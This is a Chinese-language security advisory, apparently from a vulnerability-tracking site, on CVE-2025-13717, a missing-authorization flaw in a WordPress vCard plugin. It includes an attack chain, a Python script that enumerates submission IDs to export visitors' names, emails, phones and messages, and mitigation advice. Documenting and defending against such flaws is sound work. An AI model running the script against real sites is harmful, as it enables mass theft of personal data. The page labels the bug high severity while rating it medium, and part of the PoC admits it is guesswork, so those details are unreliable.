IPBUF安全漏洞报告
English
CVE-2025-13717 CVSS 5.3 中危

CVE-2025-13717 WordPress Contact Form vCard Generator插件未授权数据访问漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-13717
漏洞类型
未授权访问/越权访问
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Contact Form vCard Generator WordPress插件

相关标签

CVE-2025-13717未授权访问越权访问WordPress插件漏洞Contact Form vCard Generator数据泄露缺少权限检查CVSS 5.3中危漏洞信息收集漏洞

漏洞概述

CVE-2025-13717是WordPress Contact Form vCard Generator插件的一个高危安全漏洞。该插件版本最高至2.4存在严重的访问控制缺陷,其wp_gvccf_check_download_request函数缺少权限检查(Missing Authorization)。攻击者无需任何认证即可利用此漏洞,通过构造特定的HTTP请求参数(wp-gvc-cf-download-id)未经授权访问和导出Contact Form 7插件收集的敏感用户提交数据。这些数据包括但不限于:用户姓名、电话号码、电子邮件地址以及表单提交的具体消息内容。该漏洞的CVSS评分为5.3,属于中等严重程度,但由于其无需认证即可利用的特性,在实际攻击场景中具有较高的利用价值。敏感信息的泄露可能导致严重的隐私侵犯风险,包括但不限于垃圾邮件骚扰、社会工程攻击、身份盗用等安全问题。建议所有使用该插件的用户立即采取修复措施或应用临时缓解方案。

技术细节

该漏洞的根本原因在于Contact Form vCard Generator插件的wp-gvc-cf-settings.php文件中,wp_gvccf_check_download_request函数在处理文件下载请求时未进行权限验证。正常情况下,该函数应当检查当前用户是否具有访问特定表单提交数据的权限,但代码实现中缺少了current_user_can()或类似的能力检查逻辑。攻击者只需构造一个带有wp-gvc-cf-download-id参数的GET或POST请求,即可触发数据导出功能。服务器端会根据该参数值查询数据库中对应的Contact Form 7表单提交记录,并将包含用户敏感信息的数据以vCard或CSV格式返回给攻击者。由于该函数直接绑定到WordPress的admin_init或init钩子上,且未设置任何访问限制,未认证的访客也能成功发起请求。漏洞代码位置位于插件目录的includes/wp-gvc-cf-settings.php文件的第105行和第13行附近。攻击者可以通过自动化脚本批量遍历不同的download-id值来获取大量用户数据。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站是否使用Contact Form vCard Generator插件(最高至2.4版本),可通过检查/wp-content/plugins/contact-form-vcard-generator/目录或页面源代码进行确认
STEP 2
步骤2: 构造恶意请求
攻击者构造包含wp-gvc-cf-download-id参数的HTTP请求,目标是WordPress的admin-post.php端点或插件的直接下载接口,无需任何认证信息
STEP 3
步骤3: 触发漏洞
发送构造的请求后,服务器端wp_gvccf_check_download_request函数会处理请求,由于缺少权限检查,直接查询数据库获取对应的Contact Form 7表单提交数据
STEP 4
步骤4: 数据导出
插件将查询到的敏感数据(姓名、电话、邮箱、消息内容)以vCard或CSV格式返回给攻击者,攻击者获得完整的用户敏感信息
STEP 5
步骤5: 批量数据窃取
攻击者通过脚本自动化遍历不同的download-id值,批量导出所有表单提交记录,实现大规模数据窃取
STEP 6
步骤6: 数据利用
攻击者利用获取的敏感信息进行后续攻击,包括垃圾邮件发送、社会工程攻击、身份盗用或其他恶意活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-13717 PoC - Contact Form vCard Generator Unauthorized Data Access # Target: WordPress site with Contact Form vCard Generator plugin <= 2.4 def exploit_cve_2025_13717(target_url): """ Exploit for CVE-2025-13717: Missing authorization in wp_gvccf_check_download_request This PoC demonstrates how an unauthenticated attacker can export sensitive form data. """ # Vulnerable endpoint - the download function is accessible without authentication vulnerable_endpoint = f"{target_url}/wp-admin/admin-post.php" # Try to download form submission data by manipulating the download-id parameter # The plugin exports Contact Form 7 data including names, emails, phones, and messages for submission_id in range(1, 100): # Iterate through potential submission IDs params = { 'action': 'wp_gvccf_download', 'wp-gvc-cf-download-id': submission_id } try: response = requests.get(vulnerable_endpoint, params=params, timeout=10) # Check if we got a successful response with data if response.status_code == 200 and len(response.content) > 0: print(f"[!] Successfully accessed submission ID: {submission_id}") print(f"Content-Type: {response.headers.get('Content-Type')}") print(f"Content length: {len(response.content)} bytes") # Save the exported data filename = f"exported_data_{submission_id}.vcf" with open(filename, 'wb') as f: f.write(response.content) print(f"[+] Data saved to {filename}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing submission {submission_id}: {e}") # Alternative: Direct download URL pattern sometimes used by the plugin def exploit_direct_download(target_url): """ Some versions may use a different URL pattern for downloads """ direct_urls = [ f"{target_url}/?wp-gvc-cf-download-id=1", f"{target_url}/wp-content/plugins/contact-form-vcard-generator/download.php?id=1", ] for url in direct_urls: try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[!] Direct download worked: {url}") except: pass if __name__ == "__main__": target = "http://target-wordpress-site.com" print(f"[*] Exploiting CVE-2025-13717 on {target}") exploit_cve_2025_13717(target)

影响范围

Contact Form vCard Generator WordPress插件 <= 2.4

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)暂时禁用Contact Form vCard Generator插件;2)通过.htaccess或Nginx配置阻止对admin-post.php的敏感参数请求;3)使用WordPress安全插件(如Wordfence)添加临时防火墙规则阻止利用该漏洞的攻击流量;4)限制wp-content目录的访问权限;5)监控Web服务器日志,排查异常的download-id请求特征。同时建议尽快评估插件的必要性,如非必需则考虑完全移除该插件以彻底消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表